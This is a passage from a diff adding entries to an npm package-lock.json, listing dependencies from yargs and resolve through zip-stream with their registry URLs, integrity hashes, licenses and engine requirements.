"17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/resedit-cli/node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/resolve": { + "version": "1.22.11", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve/node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT", + "optional": true + }, + "node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "license": "ISC", + "optional": true + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC", + "optional": true + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.8.7", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz", + "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==", + "license": "MIT", + "optional": true, + "dependencies": { + "ip-address": "^10.0.1", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz", + "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "^6.0.2", + "debug": "^4.3.3", + "socks": "^2.6.2" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/sqlite3": { + "version": "5.1.7", + "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.7.tgz", + "integrity": "sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "bindings": "^1.5.0", + "node-addon-api": "^7.0.0", + "prebuild-install": "^7.1.1", + "tar": "^6.1.11" + }, + "optionalDependencies": { + "node-gyp": "8.x" + }, + "peerDependencies": { + "node-gyp": "8.x" + }, + "peerDependenciesMeta": { + "node-gyp": { + "optional": true + } + } + }, + "node_modules/ssri": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", + "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.1.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/stream-meter": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/stream-meter/-/stream-meter-1.0.4.tgz", + "integrity": "sha512-4sOEtrbgFotXwnEuzzsQBYEV1elAeFSO8rSGeTwabuX1RRn/kEq9JVH7I0MRBhKVRR0sJkr0M0QCH7yOLf9fhQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "readable-stream": "^2.1.4" + } + }, + "node_modules/streamx": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.23.0.tgz", + "integrity": "sha512-kn+e44esVfn2Fa/O0CPFcex27fjIL6MkVae0Mm6q+E6f0hWv578YCERbv+4m02cjxvDsPKLnmxral/rR6lBMAg==", + "license": "MIT", + "dependencies": { + "events-universal": "^1.0.0", + "fast-fifo": "^1.3.2", + "text-decoder": "^1.1.0" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tar": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz", + "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==", + "license": "ISC", + "dependencies": { + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^5.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tar-fs": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", + "license": "MIT", + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.1.4" + } + }, + "node_modules/tar-fs/node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "license": "ISC" + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "license": "MIT", + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tar-stream/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/tar/node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "license": "ISC", + "engines": { + "node": ">=8" + } + }, + "node_modules/text-decoder": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/text-decoder/-/text-decoder-1.2.3.tgz", + "integrity": "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA==", + "license": "Apache-2.0", + "dependencies": { + "b4a": "^1.6.4" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tr46": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", + "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", + "dev": true, + "license": "MIT" + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/unique-filename": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", + "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/unique-slug": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", + "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", + "license": "ISC", + "optional": true, + "dependencies": { + "imurmurhash": "^0.1.4" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, + "node_modules/webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wide-align": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", + "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "license": "ISC", + "optional": true, + "dependencies": { + "string-width": "^1.0.2 || 2 || 3 || 4" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/zip-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-6.0.1.tgz", + "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==", + "license": "MIT", + "dependencies": { + "archiver-utils": "^5.0.0", + "compress-commons": "^6.0.2", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/zip-stream/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/zip-stream/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "license": "MIT", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/zip-stream/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + 